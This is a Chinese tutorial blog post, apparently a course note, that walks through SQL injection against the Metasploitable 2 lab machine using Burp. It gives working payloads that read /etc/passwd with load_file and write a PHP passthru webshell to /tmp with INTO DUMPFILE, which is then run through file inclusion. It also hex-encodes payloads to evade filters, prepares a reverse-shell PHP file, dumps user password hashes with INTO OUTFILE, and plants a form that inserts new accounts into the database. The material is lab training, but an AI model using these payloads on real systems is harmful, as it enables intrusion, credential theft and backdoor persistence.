2,sql注入 , 读文件和写文件

任务091:手动漏洞挖掘-SQL注入
这个是接着上一个1,SQL注入,查看服务器系统,拿到账号密码。写的
开始实验靶机metasploitable-linux-2.0.0
利用一个函数进行读取系统文件
下面都是用burp进行发送的请求
发送的请求是1234
在这里插入图片描述
使用burp看看请求的内容
在这里插入图片描述
在burp工具里发送到Repeater模块里
在这里面原始数据直接可以看见发的信息
双击就能修改里面的1234
在这里插入图片描述
下面全部是使用的burp工具进行发送请求

  1. 读取文件/etc/passwd
    ' union SELECT null, load_file('/etc/passwd') --
    第一个字段 null是空的意思
    第二个字段load_file这个函数是读取文件的,然后读取的是/etc/passwd文件
    还可以查看其他文件,要看看你的权限够不够了
    看一下结果可以看见已经读取出来了
    在这里插入图片描述
  2. 写文件发现是写不进去的

2.1. ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --
第一个字段null是空的意思
第二个字段是放的是"<?php passthru($_GET['cmd']); ?>"这个是一个页面木马,将他放到www目录下应为是页面木马
看一下结果发现没有叫这个木马文件写入到里面应为权限不够
应为权限只是sql进程的权限
在这里插入图片描述
2.2.不指定绝对路径是可以写进去的
' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE " 'a.php' --
就算能写进去也找不到写进去的文件,就算能找到也有可能访问不了的
看一下结果
在这里插入图片描述

  1. 利用sql注入在利用上节课的文件包含漏洞进行写入木马在利用木马
    ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
    叫木马写到tmp文件里
    将木马文件写入到tmp目录里
    tmp目录是任何人都可以访问和修改文件的所以写入到tmp目录里
    然后在里用文件包含漏洞去运行写到tmp里被写入到木马文件
    看一结果发现已经写进去了
    在这里插入图片描述
    在利用文件包含运行木马来施行命令
    看一下运行的结果可以运行
    在这里插入图片描述

  2. 进行16进制编码
    有的情况会安全机制会过滤想比如php,<,>还有很多
    遇见这种情况我们可以进行各种编码
    下面我就用16进制编码
    用kali 的xxd来进行16进制编码
    4.1.发送反向连接shell
    kali自动一个php木马文件
    /usr/share/webshells/php/php-reverse-shell.php在这里插入图片描述
    叫木马的反向的ip设置成自己的
    在这里插入图片描述
    开始16进制解析
    发现有有换行有换行的话会出现服务器解析不了
    在这里插入图片描述
    下面是用个管道叫换行符删除。tr -d (要删除的东西)
    在这里插入图片描述
    叫16编码好的用burp发送到服务器里
    向服务器端发送的时候用为字太多就发送失败了,你可以用一个少的shell木马这个就不演示了
    在这里插入图片描述
    4.2.叫3.的php木马利用文件包来进行访问,下面是叫他进行16进制编码在进行实现一下
    ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/tmp/a.php" --
    叫这个php的木马保存到b.php里
    在这里插入图片描述
    然后在进行16进制编码
    在这里插入图片描述
    可以看到已经写进去
    在这里插入图片描述
    在利用文件包含运行木马来施行命令
    看一下运行的结果可以运行
    在这里插入图片描述

  3. 保持和下载数据库
    比如我们要查看账号密码数据库的话要是里面的有1万个账号密码web可能就崩溃了所有我们可以保存下载查看和批量查看
    ' union select null, concat(user,0x3a,password) from users INTO OUTFILE '/ tmp/a.db'--
    查看到的账号密码OUTFILE到文件里然后在用文件包含漏洞进行访问,如果web可以文件包含漏洞,那只能批量访问了。
    看一下结果发送成功
    在这里插入图片描述
    然后利用文件包含漏洞进行访问账号密码
    在这里插入图片描述

  4. 一个思路 web渗透可能会出现很多限制,意想不到的情况
    下面用这个php代码创建一个表单的页面然后在这个页面,然后在这个页面里用户账号数据库里面插入一个账号,
    就算拿到了密码现在的企业都是安全很高的,要进行密码解码破解是很难的,
    下面的代码也是通过sql漏洞那2个字段进行

' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name 
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username = 
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo 
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username: 
$username<BR>"; echo "avatar: $avatar<BR>"; 
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo 
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to 
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error 
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post" 
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID" 
value="33"><br> <input type="text" name="first_name" value="fh"><br> <input type="text" 
name="last_name" value="y"><br> <input type="text" name="username" value="yfh"><br> 
<input type="text" name="avatar" value="yfh!"><br> <input type="submit" name="submit" 
value="Submit Form"><br> </form>' INTO DUMPFILE '/tmp/user.php' --  

下面就用浏览器的hackbar工具进行演示
看一下结果已经写进去了
在这里插入图片描述
利用文件包含漏洞进行访问,可以看见可以添加密码了
在这里插入图片描述

作者QQ2737977997

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值